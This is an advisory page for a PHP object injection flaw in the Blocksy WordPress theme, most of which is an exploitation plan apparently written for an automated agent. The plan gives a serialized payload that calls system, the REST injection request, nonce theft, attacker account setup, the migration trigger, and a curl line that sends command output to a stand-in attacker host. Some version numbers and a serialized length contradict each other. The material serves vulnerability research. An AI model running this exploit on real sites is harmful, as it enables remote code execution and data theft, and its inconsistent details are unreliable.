Blocksy <= 2.1.41 - Authenticated (Contributor+) PHP Object Injection via Deserialization of Untrusted Data via 'blocksy_meta' REST API Field
Description
The Blocksy theme for WordPress is vulnerable to PHP Object Injection leading to Remote Code Execution via the 'blocksy_meta' REST API field and the V200 database migration in versions up to and including 2.1.35. This is due to insufficient input sanitization in the blocksy_sanitize_post_meta_options() function, which only blocks values containing '<' or '>' and does not prevent serialized PHP object strings from being stored in post meta, combined with the SearchReplacer::run_recursively() function unconditionally deserializing all string values via @unserialize() during migration without restricting allowed classes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject a serialized Blocksy\RaiiPattern object into post meta that, when the V200 migration runs on an upgraded site, is deserialized and triggers RaiiPattern::__destruct(), which executes arbitrary PHP callables via call_user_func().
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-8365 (Blocksy PHP Object Injection) ## 1. Vulnerability Summary The Blocksy theme (<= 2.1.41) is vulnerable to **PHP Object Injection** leading to **Remote Code Execution (RCE)**. The vulnerability exists because the `blocksy_sanitize_post_meta_options()` func…
Show full research plan
Exploitation Research Plan: CVE-2026-8365 (Blocksy PHP Object Injection)
1. Vulnerability Summary
The Blocksy theme (<= 2.1.41) is vulnerable to PHP Object Injection leading to Remote Code Execution (RCE). The vulnerability exists because the blocksy_sanitize_post_meta_options() function fails to prevent serialized PHP strings from being stored in the blocksy_meta post meta field (it only filters < and >).
When a site is "upgraded" or the V200 migration is triggered, the SearchReplacer::run_recursively() function processes these meta values and calls @unserialize() on them without class restrictions. This allows a Contributor-level user to inject a malicious serialized Blocksy\RaiiPattern object, which executes arbitrary PHP via call_user_func() in its __destruct() method.
2. Attack Vector Analysis
- Target Endpoint: WordPress REST API post update endpoint (
/wp/v2/posts/<id>). - Vulnerable Parameter: The
blocksy_metafield within the REST request body. - Authentication Required: Authenticated, Contributor role or higher (anyone with permission to edit/create posts).
- Preconditions:
- The attacker must have a valid Contributor session.
- The "V200 migration" must be triggered. In practice, this migration usually runs when the theme version is updated or when the
blocksy_versionoption in the database is lower than2.0.0.
3. Code Flow
Entry Point (Injection):
- A Contributor sends a
POSTorPUTrequest to/wp/v2/posts/<id>. - The request includes
blocksy_metacontaining a serializedBlocksy\RaiiPatternobject. blocksy_sanitize_post_meta_options()is called. It checks for HTML tags (<,>) but allows the serialized string.- The payload is saved to the
wp_postmetatable under the keyblocksy_meta.
- A Contributor sends a
Trigger (Migration):
- The theme checks the
blocksy_versionoption. - If a migration to V2.0.0 is needed,
SearchReplacer::run_recursively()is invoked on the post meta. - Sink: Inside
run_recursively(),@unserialize($meta_value)is called.
- The theme checks the
Execution (POP Chain):
- The
unserialize()call instantiatesBlocksy\RaiiPattern. - When the PHP script finishes (or the object is destroyed),
Blocksy\RaiiPattern::__destruct()is triggered. - The destructor calls
call_user_func($this->callback, $this->parameter).
- The
4. Nonce Acquisition Strategy
The WordPress REST API requires a wp_rest nonce for state-changing requests (POST/PUT/PATCH) when using session-based authentication.
- Login: Use
wp_clito ensure a Contributor user exists and use thebrowser_navigatetool to log in. - Extraction: The standard WordPress REST API nonce is usually available in the
wpApiSettingsJavaScript object on admin pages. - Action:
- Navigate to
/wp-admin/. - Run
browser_eval("window.wpApiSettings?.nonce"). - Store this as the
X-WP-Nonceheader for the REST API request.
- Navigate to
5. Exploitation Strategy
Step 1: Craft the Payload
The Blocksy\RaiiPattern class (inferred from description) requires two properties: a callback and a parameter.
- Target Function:
systemorpassthru. - Parameter:
whoami > /tmp/rce.txt. - Serialized String:
O:20:"Blocksy\RaiiPattern":2:{s:8:"callback";s:6:"system";s:9:"parameter";s:23:"whoami > /tmp/rce.txt";}(Note: Actual property names might vary; if properties are private/protected, they require null-byte padding).
Step 2: Inject via REST API
Using the http_request tool:
- Method:
POST - URL:
http://localhost:8080/wp-json/wp/v2/posts/<POST_ID> - Headers:
Content-Type: application/jsonX-WP-Nonce: <EXTRACTED_NONCE>
- Body:
{ "blocksy_meta": "O:20:\"Blocksy\\RaiiPattern\":2:{s:8:\"callback\";s:6:\"system\";s:9:\"parameter\";s:23:\"whoami > /tmp/rce.txt\";}" }
Step 3: Trigger the Migration
The migration is likely triggered by an administrator visiting the dashboard or by the theme initialization if the version is old.
- Force Migration State: Use
wp_clito set the theme version back:wp option update blocksy_version 1.9.9 - Trigger: Use
http_requestorbrowser_navigateto visit the/wp-admin/page as an Administrator. This should trigger theSearchReplacerlogic.
6. Test Data Setup
- Create Contributor:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Create Post:
wp post create --post_type=post --post_status=publish --post_author=<ATTACKER_ID> --post_title="Vuln Post"
(Store the resulting ID as<POST_ID>). - Verify Theme: Ensure Blocksy <= 2.1.41 is active.
7. Expected Results
- The REST API call should return
200 OK, and theblocksy_metafield in the response should contain the serialized string. - After triggering the migration, the file
/tmp/rce.txtshould be created on the server, containing the output of thewhoamicommand (typicallywww-data).
8. Verification Steps
- Check Meta Injection:
wp post meta get <POST_ID> blocksy_meta - Check RCE Execution:
ls -l /tmp/rce.txtcat /tmp/rce.txt
9. Alternative Approaches
- Different POP Chain: If
Blocksy\RaiiPatternis unavailable, check for other loaded classes with__destructor__wakeupsinks (e.g., standard WordPress core chains if version allows). - Blind RCE: If file writing is restricted, use
curlornslookupto an external collaborator to verify execution:s:9:"parameter";s:45:"curl http://<YOUR_IP>/$(whoami | base64)"; - Direct Migration Call: If the V200 migration can be triggered via a specific AJAX action (common in modern themes for "Database Update" buttons), identify that AJAX action and trigger it directly with a valid Admin nonce.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.